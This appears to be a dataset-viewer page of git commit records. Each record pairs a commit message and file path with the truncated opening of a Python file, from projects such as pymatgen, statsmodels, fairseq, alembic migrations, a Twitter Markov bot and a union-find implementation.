a2de972944f1aa990d81ccf9190866b327b552ed | Add xc.py | pymatgen/io/abinit/xc.py | pymatgen/io/abinit/xc.py | # coding: utf-8
# Copyright (c) Pymatgen Development Team.
# Distributed under the terms of the MIT License.
"""
"""
from __future__ import unicode_literals, division, print_function
class XcFunctional(object):
"""
https://wiki.fysik.dtu.dk/gpaw/setups/pawxml.html
The xc_functional element defines the exc... | Python | 0.000002 | |
38f5c8534e3807d0485165017972adf47bd4aa2f | Create utils.py | utilities/utils.py | utilities/utils.py | from zope.interface import implements
from IOperation import IOperation
class Plus(object):
implements(IOperation)
def __call__(self, a, b):
return a + b
class Minus(object):
implements(IOperation)
def __call__(self, a, b):
return a - b
### alternative way to make utility compon... | Python | 0.000001 | |
7801f5a34fed9c50ebd0d426a69f875026da9602 | Create tutorial2.py | tutorial2.py | tutorial2.py | Python | 0 | ||
0ddac190019753d77b1ed78dcd49ad7370d666df | add some utils | python/irispy/utils.py | python/irispy/utils.py | import numpy as np
import irispy
def lcon_to_vert(A, b):
poly = irispy.Polyhedron(A.shape[1])
poly.setA(A)
poly.setB(b)
V = np.vstack(poly.generatorPoints()).T
def sample_convex_polytope(A, b, nsamples):
poly = irispy.Polyhedron(A.shape[1])
poly.setA(A)
poly.setB(b)
generators = np.vst... | Python | 0.000001 | |
538cd00a3c0307818cf62c61be3d91007a9b4091 | Add migration for movie.durations_in_s | migrations/versions/349d38252295_.py | migrations/versions/349d38252295_.py | """Add movie.duration_in_s
Revision ID: 349d38252295
Revises: 2b7f5e38dd73
Create Date: 2014-01-09 15:31:24.597000
"""
# revision identifiers, used by Alembic.
revision = '349d38252295'
down_revision = '2b7f5e38dd73'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by ... | Python | 0.000033 | |
98a4029c0e64b82fe4a416030e6338b28e00e999 | test remove_data and pickle, Logit still has fittedvalues | statsmodels/base/tests/test_shrink_pickle.py | statsmodels/base/tests/test_shrink_pickle.py | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 09 16:00:27 2012
Author: Josef Perktold
"""
import pickle
import numpy as np
import statsmodels.api as sm
from numpy.testing import assert_, assert_almost_equal, assert_equal
def check_pickle(obj):
import StringIO
fh = StringIO.StringIO()
pickle.dump(obj,... | Python | 0 | |
25b95c058e7d2aa0eab8d67efd62858435bb4bec | Add the code to fully simulate a WSGI server. | train/wsgi.py | train/wsgi.py | # Copyright 2013 Rackspace
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | Python | 0 | |
c8ad60f23bc630ba8e57f735c8aa0ec7eeaa3c1f | teste ggj18 | arquivo3.py | arquivo3.py | dasdsa
sdas
sdasd
asdasdas
s
dasdas
das
d
asd
as
das
das
das
d
sad
| Python | 0.000001 | |
c5bbbe4f6430ef20da55ea0f8039091d4f79c491 | Add script to update taking for all team owners | sql/branch.py | sql/branch.py | import sys
from gratipay import wireup
from gratipay.models.participant import Participant
db = wireup.db(wireup.env())
teams = db.all("""
SELECT t.*::teams
FROM teams t
""")
for team in teams:
print("Updating team %s" % team.slug)
Participant.from_username(team.owner).update_taking()
print("Done... | Python | 0 | |
74c58436c28fbca804cd70a88ca1250ca22aa8e6 | add test_poll.py | tests/unit/concurrently/condor/test_poll.py | tests/unit/concurrently/condor/test_poll.py | # Tai Sakuma <tai.sakuma@gmail.com>
import os
import sys
import logging
import textwrap
import collections
import pytest
try:
import unittest.mock as mock
except ImportError:
import mock
from alphatwirl.concurrently import WorkingArea
from alphatwirl.concurrently import HTCondorJobSubmitter
##______________... | Python | 0.00002 | |
9967ade200639b584e379ec25030d1598071ffd3 | Create TextEditor.py | redactor/TextEditor.py | redactor/TextEditor.py | from tkinter import *
class TextEditor():
def __init__(self):
self.root = Tk()
self.root.wm_title("BrickText")
self.text_panel = Text(self.root)
self.text_panel.pack(side=RIGHT, fill=BOTH, expand=YES)
self.set_tabs()
def start(self):
self.root.mainloop()
d... | Python | 0.000001 | |
c037412566b0a0313216e49168a8ebcc831e0f9b | add hamshahri information extractor | hamshahri.py | hamshahri.py |
from hazm import sent_tokenize, word_tokenize, Normalizer, HamshahriReader, POSTagger, DependencyParser
from InformationExtractor import InformationExtractor
hamshahri = HamshahriReader('/home/alireza/Corpora/Hamshahri')
normalizer = Normalizer()
tagger = POSTagger()
parser = DependencyParser(tagger=tagger)
extracto... | Python | 0.000008 | |
4e68a99a24439966b0001af2fe0ecf4eae5bd0bf | fix #185 - integrate with stagehand | stagehand.py | stagehand.py | # Copyright (c) 2014, Guillermo López-Anglada. Please see the AUTHORS file for details.
# All rights reserved. Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.)
import sublime
import sublime_plugin
import os
from subprocess import check_output
from Dart.lib.fs_compl... | Python | 0 | |
a7ece57eec28c771bcf2a23dc9c9e575223b1383 | add memory usage profiler script | proto/memory_test/calculate_rebot_model.py | proto/memory_test/calculate_rebot_model.py | # Copyright 2008-2011 Nokia Siemens Networks Oyj
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | Python | 0.000001 | |
680fb0bc3190acbb0bfd32f937d0e29b5641a1f2 | Create Strongly_Connect_Graph.py | Algorithm/Strongly_Connect_Graph.py | Algorithm/Strongly_Connect_Graph.py | # http://www.geeksforgeeks.org/strongly-connected-components/
# http://www.geeksforgeeks.org/connectivity-in-a-directed-graph/
'''
Given a directed graph, find out whether the graph is strongly connected or not. A directed graph is strongly connected if there is a path between any two pair of vertices. For example, fol... | Python | 0.000001 | |
2e985972aa4aad94bfda25ba852326b39498e4fa | Create Unique_Binary_Search_Trees.py | Array/Unique_Binary_Search_Trees.py | Array/Unique_Binary_Search_Trees.py | Given n, how many structurally unique BST's (binary search trees) that store values 1...n?
For example,
Given n = 3, there are a total of 5 unique BST's.
1 3 3 2 1
\ / / / \ \
3 2 1 1 3 2
/ / \ \
2 1 ... | Python | 0.000001 | |
cd59d45813fbc23d76e1e9d12cf46d7df37d72c3 | Add remote_fs unittest (#410) | test/unit/webdriver/device/remote_fs_test.py | test/unit/webdriver/device/remote_fs_test.py | #!/usr/bin/env python
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software... | Python | 0 | |
e2ba20d629fb35225140008437ddd93bcf516ba7 | Add translation for action short descriptions | django_mailbox/admin.py | django_mailbox/admin.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Model configuration in application ``django_mailbox`` for administration
console.
"""
import logging
from django.conf import settings
from django.contrib import admin
from django.utils.translation import ugettext_lazy as _
from django_mailbox.models import MessageAt... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Model configuration in application ``django_mailbox`` for administration
console.
"""
import logging
from django.conf import settings
from django.contrib import admin
from django_mailbox.models import MessageAttachment, Message, Mailbox
from django_mailbox.signals i... | Python | 0.000001 |
f23c77d517dd88c38d5ad8fa0601bc61ccf17aa6 | Change url from 2016 to 2017 | pyconcz_2017/urls.py | pyconcz_2017/urls.py | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView, RedirectView
from pyconcz_2017.common.views import homepage
prefixed_urlpatterns = [
url(r'^$', homepage, name='home... | from django.conf import settings
from django.conf.urls import include, url
from django.conf.urls.static import static
from django.contrib import admin
from django.views.generic import TemplateView, RedirectView
from pyconcz_2017.common.views import homepage
prefixed_urlpatterns = [
url(r'^$', homepage, name='home... | Python | 0.999212 |
5becb57514c4b08fc7af2a9a4e38b2c8aac2f576 | Create computestats.py | effective_quadratures/computestats.py | effective_quadratures/computestats.py | #!/usr/bin/env python
import numpy as np
from utils import error_function
class Statistics(object):
"""
This subclass is an domains.ActiveVariableMap specifically for optimization.
**See Also**
optimizers.BoundedMinVariableMap
optimizers.UnboundedMinVariableMap
**Notes**
This class's t... | Python | 0.000017 | |
36d0fc3c54dc0c91196c16875c1b1e2d9b0d38ea | Add basic unit test for LimitOffsetPagination | example/tests/unit/test_pagination.py | example/tests/unit/test_pagination.py | from collections import OrderedDict
from rest_framework.request import Request
from rest_framework.test import APIRequestFactory
from rest_framework.utils.urls import replace_query_param
from rest_framework_json_api.pagination import LimitOffsetPagination
factory = APIRequestFactory()
class TestLimitOffset:
"... | Python | 0 | |
1eed076cc9140d35cd6897ef2bcb5fe0ae943e35 | Revert "remove bindings" | binding.gyp | binding.gyp | {
'targets': [
{
'target_name': 'sysinfo',
'conditions': [
['OS=="solaris"', {
'sources': [
'src/solaris.cpp'
]
}]
],
'sources': [
'src/binding.cpp',
],
'linkflags': [
'-Lbuild/cd Release/obj.target/sysinfo/src/'
],
'defines': [
'OS="<(OS)"',
'is_<(OS)'... | Python | 0 | |
9a83e01b9710943c50f80c8ffc4e5d5827cb3b92 | Check data preparation | main.py | main.py | from car_classifier import CarClassifier
if __name__ == "__main__":
car_img_dir = 'vehicles'
not_car_img_dir = 'non-vehicles'
sample_size = 8792
car_classifier = CarClassifier(car_img_dir=car_img_dir,
not_car_img_dir=not_car_img_dir,
sample_size = sample_size)
car_classifier.fit()
| Python | 0.000027 | |
5314f764dcfc62b3ec3fd29fdd86ae08dddfe08d | fix typo | main.py | main.py | import sys
from time import ctime
from tweepy import API
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy.streaming import StreamListener
from credentials import *
from tweepy.utils import import_simplejson
import markovify
import random
import argparse
json = import_simplejson()
class Listener(... | import sys
from time import ctime
from tweepy import API
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy.streaming import StreamListener
from credentials import *
from tweepy.utils import import_simplejson
import markovify
import random
import argparse
json = import_simplejson()
class Listener(... | Python | 0.999991 |
c99bee3628e55873e5bb9b6e98fd0455b6b45c64 | add examples for recipe 1.14 | code/ch_1-DATA_STRUCTURES_AND_ALGORITHMS/14-sorting_objects_without_native_comparison_support/main.py | code/ch_1-DATA_STRUCTURES_AND_ALGORITHMS/14-sorting_objects_without_native_comparison_support/main.py | def example_1():
class User:
def __init__(self, user_id):
self.user_id = user_id
def __repr__(self):
return 'User({})'.format(self.user_id)
users = [User(23), User(3), User(99)]
print(users)
print(sorted(users, key = lambda u: u.user_id))
from operator impor... | Python | 0 | |
836d4ed6a3ddda4d381345a34358714db74af757 | Add an helper push program | share/examples/push.py | share/examples/push.py | import sys
import zmq
from zmq.utils.strtypes import b
def main():
# Get the arguments
if len(sys.argv) != 4:
print("Usage: push.py url topic num_messages")
sys.exit(1)
url = sys.argv[1]
topic = sys.argv[2]
num_messages = int(sys.argv[3])
# Create the socket
context = zmq.... | Python | 0.000001 | |
cc7ecc419f75fa672ff215e7c6157bac8ebfb29e | Add union-find implementation | unionfind.py | unionfind.py | """
A simple Union-Find data structure implementation.
author:
Christos Nitsas
(chrisn654 or nitsas)
language:
Python 3(.4)
date:
July, 2014
"""
class UnionFindSimpleImpl:
"""
A simple Union-Find data structure implementation.
If n is the number of items in the structure, a series of m union
... | Python | 0 | |
c446c44b1f2023808d48609dbeb48c58fdba1cf3 | Add Adamax optimizer | fairseq/optim/adamax.py | fairseq/optim/adamax.py | # Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
import torch
import torch.optim
f... | Python | 0 | |
a4924a6928facdda942844b1bac8f0a53eb9ff4b | add 1 OPP file: slots | use_slots.py | use_slots.py | #!/user/bin/env python3
# -*- coding: utf-8 -*-
class Student(object):
_slots_ = ('name', 'age')
class GraduateStudent(Student):
pass
s = Student()
s.name = 'Michael'
s.age = 15
try:
s.score = 88
except AttributeError as e:
print('AttributeError:', e)
g = GraduateStudent()
g.score = 99
print(g.sco... | Python | 0 | |
b6b2f268693764deb70553b00904af4aa6def15f | add lamp_genie.py - aladin 오프라인 매장을 검색해서 키워드의 책 ISBN번호를 알려준다. | lamp_genie.py | lamp_genie.py | #-*- coding: utf-8 -*-
import requests
import BeautifulSoup
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
mobile_site_url = "http://www.aladin.co.kr"
search_url = "http://off.aladin.co.kr/usedstore/wsearchresult.aspx?SearchWord=%s&x=0&y=0"
book_url = "http://off.aladin.co.kr/usedstore/wproduct.aspx?ISBN=%d"
... | Python | 0 | |
13c14b8c2b44d2f9b39e46d395fcde891ba6ba9f | Patch #670715: Universal Unicode Codec for POSIX iconv. | Lib/test/test_iconv_codecs.py | Lib/test/test_iconv_codecs.py | from test import test_support
import unittest, sys
import codecs, _iconv_codec
from encodings import iconv_codec
from StringIO import StringIO
class IconvCodecTest(unittest.TestCase):
if sys.byteorder == 'big':
spam = '\x00s\x00p\x00a\x00m\x00s\x00p\x00a\x00m'
else:
spam = 's\x00p\x00a\x00m\x0... | Python | 0 | |
a3afcb81b2aec2043576aa87cdeba266b4576b2c | Add processor | indra/sources/phosphoELM/processor.py | indra/sources/phosphoELM/processor.py | import requests
import logging
from indra.statements import Phosphorylation, Evidence, Agent
from indra.preassembler.grounding_mapper import GroundingMapper
gilda_url = 'http://grounding.indra.bio/ground'
logger = logging.getLogger(__file__)
def _gilda_grounder(entity_str):
# If match found, return the string t... | Python | 0.000019 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.